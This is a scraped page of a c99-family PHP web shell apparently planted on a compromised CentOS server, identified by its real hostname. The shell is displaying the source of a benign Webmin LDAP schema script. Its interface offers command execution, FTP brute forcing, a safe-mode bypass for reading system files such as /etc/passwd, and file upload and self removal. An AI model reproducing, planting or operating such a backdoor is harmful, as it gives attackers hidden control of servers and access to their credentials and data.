!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ldap-server/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_schema.cgi (2.17 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Select which schema files are included

require './ldap-server-lib.pl';
&local_ldap_server() == 1 || &error($text{'slapd_elocal'});
$access{'schema'} || &error($text{'schema_ecannot'});
&ui_print_header(undef, $text{'schema_title'}, "", "schema");

# Get included schemas
if (&get_config_type() == 1) {
    $conf = &get_config();
    foreach $i (&find_value("include", $conf)) {
        if ($i =~ /^(.*)\// && $1 eq $config{'schema_dir'}) {
            $incs{$i} = ++$n;
            }
        }
    $editable = 1;
    }

# Show a table of all known schema files, with checkboxes
print $text{'schema_pagedesc'},"<p>\n";
@tds = ( $editable ? ( "width=5" ) : ( ),
     "width=20%", "width=65%", "width=10%", "width=5% nowrap" );
print &ui_form_start("save_schema.cgi", "post");
print &ui_columns_start([ $editable ? ( "" ) : ( ),
              $text{'schema_file'},
              $text{'schema_desc'},
              $text{'schema_act'},
              $editable ? ( $text{'schema_move'} ) : ( ) ],
            100, 0, \@tds);
@files = sort { &schema_sorter } &list_schema_files();
for($i=0; $i<@files; $i++) {
    $s = $files[$i];
    @acts = ( "<a href='view_sfile.cgi?file=".&urlize($s->{'file'})."'>".
          "$text{'schema_view'}</a>",
          "<a href='edit_sfile.cgi?file=".&urlize($s->{'file'})."'>".
                  "$text{'schema_edit'}</a>" );
    if ($incs{$s->{'file'}}) {
        $mover = &ui_up_down_arrows(
            "up_schema.cgi?file=".&urlize($s->{'file'}),
            "down_schema.cgi?file=".&urlize($s->{'file'}),
            $i > 1,
            $i && $i < @files-1 && $incs{$files[$i+1]->{'file'}});
        }
    else {
        $mover = "";
        }
    if ($editable) {
        # With move / enable checkbox
        print &ui_checked_columns_row(
            [ $s->{'name'},
              $s->{'desc'} || $s->{'file'},
              &ui_links_row(\@acts),
              $mover,
            ],
            \@tds, "d", $s->{'file'}, $incs{$s->{'file'}},
            $s->{'name'} eq 'core');
        }
    else {
        # View files only
        print &ui_columns_row(
            [ $s->{'name'},
                          $s->{'desc'} || $s->{'file'},
                          &ui_links_row(\@acts) ], \@tds);
        }
    }
print &ui_columns_end();
print &ui_form_end($editable ? [ [ undef, $text{'save'} ] ] : [ ]);

&ui_print_footer("", $text{'index_return'});

sub schema_sorter
{
return ($incs{$a->{'file'}} || 999) <=> ($incs{$b->{'file'}} || 999);
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--